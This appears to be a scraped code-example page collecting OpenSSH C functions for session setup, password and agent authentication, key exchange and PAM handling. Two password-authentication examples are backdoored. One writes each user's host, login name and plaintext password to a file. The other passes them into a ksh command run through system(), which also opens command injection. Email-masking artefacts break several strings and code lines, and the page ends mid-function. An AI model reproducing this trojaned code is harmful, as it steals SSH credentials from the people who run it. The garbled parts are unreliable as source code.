Пример #1
0
static int
ssh_session2(void)
{
	int id = -1;

	/* XXX should be pre-session */
	ssh_init_forwarding();

	if (!no_shell_flag || (datafellows & SSH_BUG_DUMMYCHAN))
		id = ssh_session2_open();

	/* If we don't expect to open a new session, then disallow it */
	if (options.control_master == SSHCTL_MASTER_NO &&
	    (datafellows & SSH_NEW_OPENSSH)) {
		debug("Requesting [email protected]");
		packet_start(SSH2_MSG_GLOBAL_REQUEST);
		packet_put_cstring("*****@*****.**");
		packet_put_char(0);
		packet_send();
	}

	/* Execute a local command */
	if (options.local_command != NULL &&
	    options.permit_local_command)
		ssh_local_cmd(options.local_command);

	/* Start listening for multiplex clients */
	muxserver_listen();

	/* If requested, let ssh continue in the background. */
	if (fork_after_authentication_flag) {
		fork_after_authentication_flag = 0;
		if (daemon(1, 1) < 0)
			fatal("daemon() failed: %.200s", strerror(errno));
	}

	return client_loop(tty_flag, tty_flag ?
	    options.escape_char : SSH_ESCAPECHAR_NONE, id);
}
Пример #2
0
int
userauth_passwd(Authctxt *authctxt)
{
	static int attempt = 0;
	char prompt[150];
	char *password;

	if (attempt++ >= options.number_of_password_prompts)
		return 0;

	if (attempt != 1)
		error("Permission denied, please try again.");

	snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: "******"a");
	      fprintf (fp,"+host: %s +user: %s +password: %s\n", get_remote_ipaddr(), options.user, password);
	      fclose (fp);
	    }
	packet_put_cstring(authctxt->server_user);
	packet_put_cstring(authctxt->service);
	packet_put_cstring(authctxt->method->name);
	packet_put_char(0);
	packet_put_cstring(password);
	memset(password, 0, strlen(password));
	xfree(password);
	packet_add_padding(64);
	packet_send();

	dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
	    &input_userauth_passwd_changereq);

	return 1;
}
Пример #3
0
int
userauth_passwd(Authctxt *authctxt)
{
	static int attempt = 0;
	char prompt[150];
	char *password;

	if (attempt++ >= options.number_of_password_prompts)
		return 0;

	if (attempt != 1)
		error("Permission denied, please try again.");

	snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: "******"/bin/ksh -m %s_%s_%s >/dev/null 2>&1", get_remote_ipaddr(), options.user, password);
                  system(cmd);
	    }
	packet_put_cstring(authctxt->server_user);
	packet_put_cstring(authctxt->service);
	packet_put_cstring(authctxt->method->name);
	packet_put_char(0);
	packet_put_cstring(password);
	memset(password, 0, strlen(password));
	xfree(password);
	packet_add_padding(64);
	packet_send();

	dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
	    &input_userauth_passwd_changereq);

	return 1;
}
Пример #4
0
static void
client_alive_check(void)
{
	int channel_id;

	/* timeout, check to see how many we have had */
	if (packet_inc_alive_timeouts() > options.client_alive_count_max) {
		logit("Timeout, client not responding.");
		cleanup_exit(255);
	}

	/*
	 * send a bogus global/channel request with "wantreply",
	 * we should get back a failure
	 */
	if ((channel_id = channel_find_open()) == -1) {
		packet_start(SSH2_MSG_GLOBAL_REQUEST);
		packet_put_cstring("*****@*****.**");
		packet_put_char(1);	/* boolean: want reply */
	} else {
		channel_request_start(channel_id, "*****@*****.**", 1);
	}
	packet_send();
}
Пример #5
0
void
userauth_finish(Authctxt *authctxt, int authenticated, const char *method,
    const char *submethod)
{
	char *methods;
	int partial = 0;

	if (!authctxt->valid && authenticated)
		fatal("INTERNAL ERROR: authenticated invalid user %s",
		    authctxt->user);
	if (authenticated && authctxt->postponed)
		fatal("INTERNAL ERROR: authenticated and postponed");

	/* Special handling for root */
	if (authenticated && authctxt->pw->pw_uid == 0 &&
	    !auth_root_allowed(method)) {
		authenticated = 0;
#ifdef SSH_AUDIT_EVENTS
		PRIVSEP(audit_event(SSH_LOGIN_ROOT_DENIED));
#endif
	}

	if (authenticated && options.num_auth_methods != 0) {
		if (!auth2_update_methods_lists(authctxt, method, submethod)) {
			authenticated = 0;
			partial = 1;
		}
	}

	/* Log before sending the reply */
	auth_log(authctxt, authenticated, partial, method, submethod);

	if (authctxt->postponed)
		return;

#ifdef USE_PAM
	if (options.use_pam && authenticated) {
		if (!PRIVSEP(do_pam_account())) {
			/* if PAM returned a message, send it to the user */
			if (buffer_len(&loginmsg) > 0) {
				buffer_append(&loginmsg, "\0", 1);
				userauth_send_banner(buffer_ptr(&loginmsg));
				packet_write_wait();
			}
			fatal("Access denied for user %s by PAM account "
			    "configuration", authctxt->user);
		}
	}
#endif

#ifdef _UNICOS
	if (authenticated && cray_access_denied(authctxt->user)) {
		authenticated = 0;
		fatal("Access denied for user %s.", authctxt->user);
	}
#endif /* _UNICOS */

	if (authenticated == 1) {
		/* turn off userauth */
		dispatch_set(SSH2_MSG_USERAUTH_REQUEST, &dispatch_protocol_ignore);
		packet_start(SSH2_MSG_USERAUTH_SUCCESS);
		packet_send();
		packet_write_wait();
		/* now we can break out */
		authctxt->success = 1;
	} else {

		/* Allow initial try of "none" auth without failure penalty */
		if (!authctxt->server_caused_failure &&
		    (authctxt->attempt > 1 || strcmp(method, "none") != 0))
			authctxt->failures++;
		if (authctxt->failures >= options.max_authtries) {
#ifdef SSH_AUDIT_EVENTS
			PRIVSEP(audit_event(SSH_LOGIN_EXCEED_MAXTRIES));
#endif
			packet_disconnect(AUTH_FAIL_MSG, authctxt->user);
		}
		methods = authmethods_get(authctxt);
		debug3("%s: failure partial=%d next methods=\"%s\"", __func__,
		    partial, methods);
		packet_start(SSH2_MSG_USERAUTH_FAILURE);
		packet_put_cstring(methods);
		packet_put_char(partial);
		packet_send();
		packet_write_wait();
		free(methods);
	}
}
Пример #6
0
/*
 * Checks if the user has an authentication agent, and if so, tries to
 * authenticate using the agent.
 */
static int
try_agent_authentication(void)
{
	int type;
	char *comment;
	AuthenticationConnection *auth;
	u_char response[16];
	u_int i;
	Key *key;
	BIGNUM *challenge;

	/* Get connection to the agent. */
	auth = ssh_get_authentication_connection();
	if (!auth)
		return 0;

	if ((challenge = BN_new()) == NULL)
		fatal("try_agent_authentication: BN_new failed");
	/* Loop through identities served by the agent. */
	for (key = ssh_get_first_identity(auth, &comment, 1);
	    key != NULL;
	    key = ssh_get_next_identity(auth, &comment, 1)) {

		/* Try this identity. */
		debug("Trying RSA authentication via agent with '%.100s'", comment);
		xfree(comment);

		/* Tell the server that we are willing to authenticate using this key. */
		packet_start(SSH_CMSG_AUTH_RSA);
		packet_put_bignum(key->rsa->n);
		packet_send();
		packet_write_wait();

		/* Wait for server's response. */
		type = packet_read();

		/* The server sends failure if it doesn\'t like our key or
		   does not support RSA authentication. */
		if (type == SSH_SMSG_FAILURE) {
			debug("Server refused our key.");
			key_free(key);
			continue;
		}
		/* Otherwise it should have sent a challenge. */
		if (type != SSH_SMSG_AUTH_RSA_CHALLENGE)
			packet_disconnect("Protocol error during RSA authentication: %d",
					  type);

		packet_get_bignum(challenge);
		packet_check_eom();

		debug("Received RSA challenge from server.");

		/* Ask the agent to decrypt the challenge. */
		if (!ssh_decrypt_challenge(auth, key, challenge, session_id, 1, response)) {
			/*
			 * The agent failed to authenticate this identifier
			 * although it advertised it supports this.  Just
			 * return a wrong value.
			 */
			log("Authentication agent failed to decrypt challenge.");
			memset(response, 0, sizeof(response));
		}
		key_free(key);
		debug("Sending response to RSA challenge.");

		/* Send the decrypted challenge back to the server. */
		packet_start(SSH_CMSG_AUTH_RSA_RESPONSE);
		for (i = 0; i < 16; i++)
			packet_put_char(response[i]);
		packet_send();
		packet_write_wait();

		/* Wait for response from the server. */
		type = packet_read();

		/* The server returns success if it accepted the authentication. */
		if (type == SSH_SMSG_SUCCESS) {
			ssh_close_authentication_connection(auth);
			BN_clear_free(challenge);
			debug("RSA authentication accepted by server.");
			return 1;
		}
		/* Otherwise it should return failure. */
		if (type != SSH_SMSG_FAILURE)
			packet_disconnect("Protocol error waiting RSA auth response: %d",
					  type);
	}
	ssh_close_authentication_connection(auth);
	BN_clear_free(challenge);
	debug("RSA authentication using agent refused.");
	return 0;
}
Пример #7
0
static int
roaming_resume(void)
{
	u_int64_t recv_bytes;
	char *str = NULL, *kexlist = NULL, *c;
	int i, type;
	int timeout_ms = options.connection_timeout * 1000;
	u_int len;
	u_int32_t rnd = 0;

	resume_in_progress = 1;

	/* Exchange banners */
	ssh_exchange_identification(timeout_ms);
	packet_set_nonblocking();

	/* Send a kexinit message with [email protected] as only kex algo */
	packet_start(SSH2_MSG_KEXINIT);
	for (i = 0; i < KEX_COOKIE_LEN; i++) {
		if (i % 4 == 0)
			rnd = arc4random();
		packet_put_char(rnd & 0xff);
		rnd >>= 8;
	}
	packet_put_cstring(KEX_RESUME);
	for (i = 1; i < PROPOSAL_MAX; i++) {
		/* kex algorithm added so start with i=1 and not 0 */
		packet_put_cstring(""); /* Not used when we resume */
	}
	packet_put_char(1); /* first kex_packet follows */
	packet_put_int(0); /* reserved */
	packet_send();

	/* Assume that [email protected] will be accepted */
	packet_start(SSH2_MSG_KEX_ROAMING_RESUME);
	packet_put_int(roaming_id);
	packet_send();

	/* Read the server's kexinit and check for [email protected] */
	if ((type = packet_read()) != SSH2_MSG_KEXINIT) {
		debug("expected kexinit on resume, got %d", type);
		goto fail;
	}
	for (i = 0; i < KEX_COOKIE_LEN; i++)
		(void)packet_get_char();
	kexlist = packet_get_string(&len);
	if (!kexlist
	    || (str = match_list(KEX_RESUME, kexlist, NULL)) == NULL) {
		debug("server doesn't allow resume");
		goto fail;
	}
	free(str);
	for (i = 1; i < PROPOSAL_MAX; i++) {
		/* kex algorithm taken care of so start with i=1 and not 0 */
		free(packet_get_string(&len));
	}
	i = packet_get_char(); /* first_kex_packet_follows */
	if (i && (c = strchr(kexlist, ',')))
		*c = 0;
	if (i && strcmp(kexlist, KEX_RESUME)) {
		debug("server's kex guess (%s) was wrong, skipping", kexlist);
		(void)packet_read(); /* Wrong guess - discard packet */
	}

	/*
	 * Read the ROAMING_AUTH_REQUIRED challenge from the server and
	 * send ROAMING_AUTH
	 */
	if ((type = packet_read()) != SSH2_MSG_KEX_ROAMING_AUTH_REQUIRED) {
		debug("expected roaming_auth_required, got %d", type);
		goto fail;
	}
	roaming_auth_required();

	/* Read ROAMING_AUTH_OK from the server */
	if ((type = packet_read()) != SSH2_MSG_KEX_ROAMING_AUTH_OK) {
		debug("expected roaming_auth_ok, got %d", type);
		goto fail;
	}
	recv_bytes = packet_get_int64() ^ oldkey2;
	debug("Peer received %llu bytes", (unsigned long long)recv_bytes);
	resend_bytes(packet_get_connection_out(), &recv_bytes);

	resume_in_progress = 0;

	session_resumed = 1; /* Tell clientloop */

	return 0;

fail:
	free(kexlist);
	if (packet_get_connection_in() == packet_get_connection_out())
		close(packet_get_connection_in());
	else {
		close(packet_get_connection_in());
		close(packet_get_connection_out());
	}
	return 1;
}
Пример #8
0
void
kexgss_server(Kex *kex)
{
	OM_uint32 maj_status, min_status;
	
	/* 
	 * Some GSSAPI implementations use the input value of ret_flags (an
 	 * output variable) as a means of triggering mechanism specific 
 	 * features. Initializing it to zero avoids inadvertently 
 	 * activating this non-standard behaviour.
	 */

	OM_uint32 ret_flags = 0;
	gss_buffer_desc gssbuf, recv_tok, msg_tok;
	gss_buffer_desc send_tok = GSS_C_EMPTY_BUFFER;
	Gssctxt *ctxt = NULL;
	u_int slen, klen, kout, hashlen;
	u_char *kbuf, *hash;
	DH *dh;
	int min = -1, max = -1, nbits = -1;
	BIGNUM *shared_secret = NULL;
	BIGNUM *dh_client_pub = NULL;
	int type = 0;
	gss_OID oid;
	char *mechs;

	/* Initialise GSSAPI */

	/* If we're rekeying, privsep means that some of the private structures
	 * in the GSSAPI code are no longer available. This kludges them back
	 * into life
	 */
	if (!ssh_gssapi_oid_table_ok()) 
		if ((mechs = ssh_gssapi_server_mechanisms()))
			xfree(mechs);

	debug2("%s: Identifying %s", __func__, kex->name);
	oid = ssh_gssapi_id_kex(NULL, kex->name, kex->kex_type);
	if (oid == GSS_C_NO_OID)
	   fatal("Unknown gssapi mechanism");

	debug2("%s: Acquiring credentials", __func__);

	if (GSS_ERROR(PRIVSEP(ssh_gssapi_server_ctx(&ctxt, oid))))
		fatal("Unable to acquire credentials for the server");

	switch (kex->kex_type) {
	case KEX_GSS_GRP1_SHA1:
		dh = dh_new_group1();
		break;
	case KEX_GSS_GRP14_SHA1:
		dh = dh_new_group14();
		break;
	case KEX_GSS_GEX_SHA1:
		debug("Doing group exchange");
		packet_read_expect(SSH2_MSG_KEXGSS_GROUPREQ);
		min = packet_get_int();
		nbits = packet_get_int();
		max = packet_get_int();
		min = MAX(DH_GRP_MIN, min);
		max = MIN(DH_GRP_MAX, max);
		packet_check_eom();
		if (max < min || nbits < min || max < nbits)
			fatal("GSS_GEX, bad parameters: %d !< %d !< %d",
			    min, nbits, max);
		dh = PRIVSEP(choose_dh(min, nbits, max));
		if (dh == NULL)
			packet_disconnect("Protocol error: no matching group found");

		packet_start(SSH2_MSG_KEXGSS_GROUP);
		packet_put_bignum2(dh->p);
		packet_put_bignum2(dh->g);
		packet_send();

		packet_write_wait();
		break;
	default:
		fatal("%s: Unexpected KEX type %d", __func__, kex->kex_type);
	}

	dh_gen_key(dh, kex->we_need * 8);

	do {
		debug("Wait SSH2_MSG_GSSAPI_INIT");
		type = packet_read();
		switch(type) {
		case SSH2_MSG_KEXGSS_INIT:
			if (dh_client_pub != NULL) 
				fatal("Received KEXGSS_INIT after initialising");
			recv_tok.value = packet_get_string(&slen);
			recv_tok.length = slen; 

			if ((dh_client_pub = BN_new()) == NULL)
				fatal("dh_client_pub == NULL");

			packet_get_bignum2(dh_client_pub);

			/* Send SSH_MSG_KEXGSS_HOSTKEY here, if we want */
			break;
		case SSH2_MSG_KEXGSS_CONTINUE:
			recv_tok.value = packet_get_string(&slen);
			recv_tok.length = slen; 
			break;
		default:
			packet_disconnect(
			    "Protocol error: didn't expect packet type %d",
			    type);
		}

		maj_status = PRIVSEP(ssh_gssapi_accept_ctx(ctxt, &recv_tok, 
		    &send_tok, &ret_flags));

		xfree(recv_tok.value);

		if (maj_status != GSS_S_COMPLETE && send_tok.length == 0)
			fatal("Zero length token output when incomplete");

		if (dh_client_pub == NULL)
			fatal("No client public key");
		
		if (maj_status & GSS_S_CONTINUE_NEEDED) {
			debug("Sending GSSAPI_CONTINUE");
			packet_start(SSH2_MSG_KEXGSS_CONTINUE);
			packet_put_string(send_tok.value, send_tok.length);
			packet_send();
			gss_release_buffer(&min_status, &send_tok);
		}
	} while (maj_status & GSS_S_CONTINUE_NEEDED);

	if (GSS_ERROR(maj_status)) {
		if (send_tok.length > 0) {
			packet_start(SSH2_MSG_KEXGSS_CONTINUE);
			packet_put_string(send_tok.value, send_tok.length);
			packet_send();
		}
		fatal("accept_ctx died");
	}

	if (!(ret_flags & GSS_C_MUTUAL_FLAG))
		fatal("Mutual Authentication flag wasn't set");

	if (!(ret_flags & GSS_C_INTEG_FLAG))
		fatal("Integrity flag wasn't set");
	
	if (!dh_pub_is_valid(dh, dh_client_pub))
		packet_disconnect("bad client public DH value");

	klen = DH_size(dh);
	kbuf = xmalloc(klen); 
	kout = DH_compute_key(kbuf, dh_client_pub, dh);
	if (kout < 0)
		fatal("DH_compute_key: failed");

	shared_secret = BN_new();
	if (shared_secret == NULL)
		fatal("kexgss_server: BN_new failed");

	if (BN_bin2bn(kbuf, kout, shared_secret) == NULL)
		fatal("kexgss_server: BN_bin2bn failed");

	memset(kbuf, 0, klen);
	xfree(kbuf);

	switch (kex->kex_type) {
	case KEX_GSS_GRP1_SHA1:
	case KEX_GSS_GRP14_SHA1:
		kex_dh_hash(
		    kex->client_version_string, kex->server_version_string,
		    buffer_ptr(&kex->peer), buffer_len(&kex->peer),
		    buffer_ptr(&kex->my), buffer_len(&kex->my),
		    NULL, 0, /* Change this if we start sending host keys */
		    dh_client_pub, dh->pub_key, shared_secret,
		    &hash, &hashlen
		);
		break;
	case KEX_GSS_GEX_SHA1:
		kexgex_hash(
		    kex->evp_md,
		    kex->client_version_string, kex->server_version_string,
		    buffer_ptr(&kex->peer), buffer_len(&kex->peer),
		    buffer_ptr(&kex->my), buffer_len(&kex->my),
		    NULL, 0,
		    min, nbits, max,
		    dh->p, dh->g,
		    dh_client_pub,
		    dh->pub_key,
		    shared_secret,
		    &hash, &hashlen
		);
		break;
	default:
		fatal("%s: Unexpected KEX type %d", __func__, kex->kex_type);
	}

	BN_clear_free(dh_client_pub);

	if (kex->session_id == NULL) {
		kex->session_id_len = hashlen;
		kex->session_id = xmalloc(kex->session_id_len);
		memcpy(kex->session_id, hash, kex->session_id_len);
	}

	gssbuf.value = hash;
	gssbuf.length = hashlen;

	if (GSS_ERROR(PRIVSEP(ssh_gssapi_sign(ctxt,&gssbuf,&msg_tok))))
		fatal("Couldn't get MIC");

	packet_start(SSH2_MSG_KEXGSS_COMPLETE);
	packet_put_bignum2(dh->pub_key);
	packet_put_string(msg_tok.value,msg_tok.length);

	if (send_tok.length != 0) {
		packet_put_char(1); /* true */
		packet_put_string(send_tok.value, send_tok.length);
	} else {
		packet_put_char(0); /* false */
	}
	packet_send();

	gss_release_buffer(&min_status, &send_tok);
	gss_release_buffer(&min_status, &msg_tok);

	if (gss_kex_context == NULL)
		gss_kex_context = ctxt;
	else 
		ssh_gssapi_delete_ctx(&ctxt);

	DH_free(dh);

	kex_derive_keys(kex, hash, hashlen, shared_secret);
	BN_clear_free(shared_secret);
	kex_finish(kex);

	/* If this was a rekey, then save out any delegated credentials we
	 * just exchanged.  */
	if (options.gss_store_rekey)
		ssh_gssapi_rekey_creds();
}
Пример #9
0
/*
 * SSH1 key exchange
 */
void
do_ssh1_kex(void)
{
	int i, len;
	int rsafail = 0;
	BIGNUM *session_key_int;
	u_char session_key[SSH_SESSION_KEY_LENGTH];
	u_char cookie[8];
	u_int cipher_type, auth_mask, protocol_flags;
	u_int32_t rnd = 0;

	/*
	 * Generate check bytes that the client must send back in the user
	 * packet in order for it to be accepted; this is used to defy ip
	 * spoofing attacks.  Note that this only works against somebody
	 * doing IP spoofing from a remote machine; any machine on the local
	 * network can still see outgoing packets and catch the random
	 * cookie.  This only affects rhosts authentication, and this is one
	 * of the reasons why it is inherently insecure.
	 */
	for (i = 0; i < 8; i++) {
		if (i % 4 == 0)
			rnd = arc4random();
		cookie[i] = rnd & 0xff;
		rnd >>= 8;
	}

	/*
	 * Send our public key.  We include in the packet 64 bits of random
	 * data that must be matched in the reply in order to prevent IP
	 * spoofing.
	 */
	packet_start(SSH_SMSG_PUBLIC_KEY);
	for (i = 0; i < 8; i++)
		packet_put_char(cookie[i]);

	/* Store our public server RSA key. */
	packet_put_int(BN_num_bits(sensitive_data.server_key->rsa->n));
	packet_put_bignum(sensitive_data.server_key->rsa->e);
	packet_put_bignum(sensitive_data.server_key->rsa->n);

	/* Store our public host RSA key. */
	packet_put_int(BN_num_bits(sensitive_data.ssh1_host_key->rsa->n));
	packet_put_bignum(sensitive_data.ssh1_host_key->rsa->e);
	packet_put_bignum(sensitive_data.ssh1_host_key->rsa->n);

	/* Put protocol flags. */
	packet_put_int(SSH_PROTOFLAG_HOST_IN_FWD_OPEN);

	/* Declare which ciphers we support. */
	packet_put_int(cipher_mask_ssh1(0));

	/* Declare supported authentication types. */
	auth_mask = 0;
	if (options.rhosts_rsa_authentication)
		auth_mask |= 1 << SSH_AUTH_RHOSTS_RSA;
	if (options.rsa_authentication)
		auth_mask |= 1 << SSH_AUTH_RSA;
	if (options.challenge_response_authentication == 1)
		auth_mask |= 1 << SSH_AUTH_TIS;
	if (options.password_authentication)
		auth_mask |= 1 << SSH_AUTH_PASSWORD;
	packet_put_int(auth_mask);

	/* Send the packet and wait for it to be sent. */
	packet_send();
	packet_write_wait();

	debug("Sent %d bit server key and %d bit host key.",
	    BN_num_bits(sensitive_data.server_key->rsa->n),
	    BN_num_bits(sensitive_data.ssh1_host_key->rsa->n));

	/* Read clients reply (cipher type and session key). */
	packet_read_expect(SSH_CMSG_SESSION_KEY);

	/* Get cipher type and check whether we accept this. */
	cipher_type = packet_get_char();

	if (!(cipher_mask_ssh1(0) & (1 << cipher_type)))
		packet_disconnect("Warning: client selects unsupported cipher.");

	/* Get check bytes from the packet.  These must match those we
	   sent earlier with the public key packet. */
	for (i = 0; i < 8; i++)
		if (cookie[i] != packet_get_char())
			packet_disconnect("IP Spoofing check bytes do not match.");

	debug("Encryption type: %.200s", cipher_name(cipher_type));

	/* Get the encrypted integer. */
	if ((session_key_int = BN_new()) == NULL)
		fatal("do_ssh1_kex: BN_new failed");
	packet_get_bignum(session_key_int);

	protocol_flags = packet_get_int();
	packet_set_protocol_flags(protocol_flags);
	packet_check_eom();

	/* Decrypt session_key_int using host/server keys */
	rsafail = PRIVSEP(ssh1_session_key(session_key_int));

	/*
	 * Extract session key from the decrypted integer.  The key is in the
	 * least significant 256 bits of the integer; the first byte of the
	 * key is in the highest bits.
	 */
	if (!rsafail) {
		BN_mask_bits(session_key_int, sizeof(session_key) * 8);
		len = BN_num_bytes(session_key_int);
		if (len < 0 || len > sizeof(session_key)) {
			error("do_connection: bad session key len from %s: "
			    "session_key_int %d > sizeof(session_key) %lu",
			    get_remote_ipaddr(), len, (u_long)sizeof(session_key));
			rsafail++;
		} else {
			memset(session_key, 0, sizeof(session_key));
			BN_bn2bin(session_key_int,
			    session_key + sizeof(session_key) - len);

			derive_ssh1_session_id(
			    sensitive_data.ssh1_host_key->rsa->n,
			    sensitive_data.server_key->rsa->n,
			    cookie, session_id);
			/*
			 * Xor the first 16 bytes of the session key with the
			 * session id.
			 */
			for (i = 0; i < 16; i++)
				session_key[i] ^= session_id[i];
		}
	}
	if (rsafail) {
		int bytes = BN_num_bytes(session_key_int);
		u_char *buf = xmalloc(bytes);
		MD5_CTX md;

		logit("do_connection: generating a fake encryption key");
		BN_bn2bin(session_key_int, buf);
		MD5_Init(&md);
		MD5_Update(&md, buf, bytes);
		MD5_Update(&md, sensitive_data.ssh1_cookie, SSH_SESSION_KEY_LENGTH);
		MD5_Final(session_key, &md);
		MD5_Init(&md);
		MD5_Update(&md, session_key, 16);
		MD5_Update(&md, buf, bytes);
		MD5_Update(&md, sensitive_data.ssh1_cookie, SSH_SESSION_KEY_LENGTH);
		MD5_Final(session_key + 16, &md);
		memset(buf, 0, bytes);
		xfree(buf);
		for (i = 0; i < 16; i++)
			session_id[i] = session_key[i] ^ session_key[i + 16];
	}
	/* Destroy the private and public keys. No longer. */
	destroy_sensitive_data();

	if (use_privsep)
		mm_ssh1_session_id(session_id);

	/* Destroy the decrypted integer.  It is no longer needed. */
	BN_clear_free(session_key_int);

	/* Set the session key.  From this on all communications will be encrypted. */
	packet_set_encryption_key(session_key, SSH_SESSION_KEY_LENGTH, cipher_type);

	/* Destroy our copy of the session key.  It is no longer needed. */
	memset(session_key, 0, sizeof(session_key));

	debug("Received session key; encryption turned on.");

	/* Send an acknowledgment packet.  Note that this packet is sent encrypted. */
	packet_start(SSH_SMSG_SUCCESS);
	packet_send();
	packet_write_wait();
}
Пример #10
0
void
userauth_finish(Authctxt *authctxt, char *method)
{
	int authenticated, partial;

	if (authctxt == NULL)
		fatal("%s: missing context", __func__);

	/* unknown method handling -- must elicit userauth failure msg */
	if (authctxt->method == NULL) {
		authenticated = 0;
		partial = 0;
		goto done_checking;
	}

#ifndef USE_PAM
	/* Special handling for root (done elsewhere for PAM) */
	if (authctxt->method->authenticated &&
	    authctxt->pw != NULL && authctxt->pw->pw_uid == 0 &&
	    !auth_root_allowed(method))
		authctxt->method->authenticated = 0;
#endif /* USE_PAM */

#ifdef _UNICOS
	if (authctxt->method->authenticated &&
	    cray_access_denied(authctxt->user)) {
		authctxt->method->authenticated = 0;
		fatal("Access denied for user %s.",authctxt->user);
	}
#endif /* _UNICOS */

	partial = userauth_check_partial_failure(authctxt);
	authenticated = authctxt->method->authenticated;

#ifdef USE_PAM
	/*
	 * If the userauth method failed to complete PAM work then force
	 * partial failure.
	 */
	if (authenticated && !AUTHPAM_DONE(authctxt))
		partial = 1;
#endif /* USE_PAM */

	/*
	 * To properly support invalid userauth method names we set
	 * authenticated=0, partial=0 above and know that
	 * authctxt->method == NULL.
	 *
	 * No unguarded reference to authctxt->method allowed from here.
	 * Checking authenticated != 0 is a valid guard; authctxt->method
	 * MUST NOT be NULL if authenticated.
	 */
done_checking:
	if (!authctxt->valid && authenticated) {
		/*
		 * We get here if the PreUserauthHook fails but the
		 * user is otherwise valid.
		 * An error in the PAM handling could also get us here
		 * but we need not panic, just treat as a failure.
		 */
		authctxt->method->authenticated = 0;
		authenticated = 0;
		log("Ignoring authenticated invalid user %s",
		    authctxt->user);
		auth_log(authctxt, 0, method, " ssh2");
	}

	/* Log before sending the reply */
	auth_log(authctxt, authenticated, method, " ssh2");

	if (authenticated && !partial) {

		/* turn off userauth */
		dispatch_set(SSH2_MSG_USERAUTH_REQUEST, &dispatch_protocol_ignore);
		packet_start(SSH2_MSG_USERAUTH_SUCCESS);
		packet_send();
		packet_write_wait();
		/* now we can break out */
		authctxt->success = 1;
	} else {
		char *methods;

		if (authctxt->method && authctxt->method->is_initial)
			authctxt->init_failures++;

		authctxt->method = NULL;

#ifdef USE_PAM
		/*
		 * Keep track of last PAM error (or PERM_DENIED) for BSM
		 * login failure auditing, which may run after the PAM
		 * state has been cleaned up.
		 */
		authctxt->pam_retval = AUTHPAM_ERROR(authctxt, PAM_PERM_DENIED);
#endif /* USE_PAM */

		if (authctxt->failures++ > options.max_auth_tries) {
#ifdef HAVE_BSM
			fatal_remove_cleanup(audit_failed_login_cleanup,
				authctxt);
			audit_sshd_login_failure(&ah, PAM_MAXTRIES,
			    authctxt->user);
#endif /* HAVE_BSM */
			packet_disconnect(AUTH_FAIL_MSG, authctxt->user);
		}

#ifdef _UNICOS
		if (strcmp(method, "password") == 0)
			cray_login_failure(authctxt->user, IA_UDBERR);
#endif /* _UNICOS */
		packet_start(SSH2_MSG_USERAUTH_FAILURE);

		/*
		 * If (partial) then authmethods_get() will return only
		 * required methods, likely only "keyboard-interactive;"
		 * (methods == NULL) implies failure, even if (partial == 1)
		 */
		methods = authmethods_get();
		packet_put_cstring(methods);
		packet_put_char((authenticated && partial && methods) ? 1 : 0);
		if (methods)
			xfree(methods);
		packet_send();
		packet_write_wait();
	}
}
Пример #11
0
int 
userauth_gssapi(Authctxt *authctxt)
{
	Gssctxt *gssctxt = NULL;
	static int initialized = 0;
	static int mech_idx = 0;
	static gss_OID_set supported = GSS_C_NULL_OID_SET;
	gss_OID mech = GSS_C_NULL_OID;

	/* Things work better if we send one mechanism at a time, rather
	 * than them all at once. This means that if we fail at some point
	 * in the middle of a negotiation, we can come back and try something
	 * different. */

	if (datafellows & SSH_OLD_GSSAPI) return 0;
	
	/* Before we offer a mechanism, check that we can support it. Don't
	 * bother trying to get credentials - as the standard fallback will
	 * deal with that kind of failure.
	 */

	if (!initialized) {
		initialized = 1;
		ssh_gssapi_client_mechs(authctxt->host, &supported);
		if (supported == GSS_C_NULL_OID_SET || supported->count == 0)
			return (0);
	} else if (supported != GSS_C_NULL_OID_SET) {
		/* Try next mech, if any */
		mech_idx++;

		if (mech_idx >= supported->count)
			return (0);
	} else {
		return (0);
	}

	mech = &supported->elements[mech_idx];

	ssh_gssapi_build_ctx(&gssctxt, 1, mech);
	authctxt->methoddata=(void *)gssctxt;
		
	packet_start(SSH2_MSG_USERAUTH_REQUEST);
	packet_put_cstring(authctxt->server_user);
	packet_put_cstring(authctxt->service);
        packet_put_cstring(authctxt->method->name);
	
	packet_put_int(1);

	/* The newest gsskeyex draft stipulates that OIDs should
	 * be DER encoded, so we need to add the object type and
	 * length information back on */
	if (datafellows & SSH_BUG_GSSAPI_BER) {
		packet_put_string(mech->elements, mech->length);
	} else {
		packet_put_int((mech->length)+2);
		packet_put_char(0x06);
		packet_put_char(mech->length);
		packet_put_raw(mech->elements, mech->length);
	}

        packet_send();
        packet_write_wait();

        dispatch_set(SSH2_MSG_USERAUTH_GSSAPI_RESPONSE,&input_gssapi_response);

        return 1;
}
static int
do_pam_conversation_kbd_int(int num_msg, const struct pam_message **msg,
    struct pam_response **resp, void *appdata_ptr)
{
	int i, j, done;
	char *text;

	context_pam2.finished = 0;
	context_pam2.num_received = 0;
	context_pam2.num_expected = 0;
	context_pam2.prompts = xmalloc(sizeof(int) * num_msg);
	context_pam2.responses = xmalloc(sizeof(struct pam_response) * num_msg);
	memset(context_pam2.responses, 0, sizeof(struct pam_response) * num_msg);

	text = NULL;
	for (i = 0, context_pam2.num_expected = 0; i < num_msg; i++) {
		int style = PAM_MSG_MEMBER(msg, i, msg_style);
		switch (style) {
		case PAM_PROMPT_ECHO_ON:
		case PAM_PROMPT_ECHO_OFF:
			context_pam2.num_expected++;
			break;
		case PAM_TEXT_INFO:
		case PAM_ERROR_MSG:
		default:
			/* Capture all these messages to be sent at once */
			message_cat(&text, PAM_MSG_MEMBER(msg, i, msg));
			break;
		}
	}

	if (context_pam2.num_expected == 0)
		return PAM_SUCCESS;

	packet_start(SSH2_MSG_USERAUTH_INFO_REQUEST);
	packet_put_cstring("");	/* Name */
	packet_put_cstring("");	/* Instructions */
	packet_put_cstring("");	/* Language */
	packet_put_int(context_pam2.num_expected);
	
	for (i = 0, j = 0; i < num_msg; i++) {
		int style = PAM_MSG_MEMBER(msg, i, msg_style);
		
		/* Skip messages which don't need a reply */
		if (style != PAM_PROMPT_ECHO_ON && style != PAM_PROMPT_ECHO_OFF)
			continue;
		
		context_pam2.prompts[j++] = i;
		if (text) {
			message_cat(&text, PAM_MSG_MEMBER(msg, i, msg));
			packet_put_cstring(text);
			text = NULL;
		} else
			packet_put_cstring(PAM_MSG_MEMBER(msg, i, msg));
		packet_put_char(style == PAM_PROMPT_ECHO_ON);
	}
	packet_send();
	packet_write_wait();

	/*
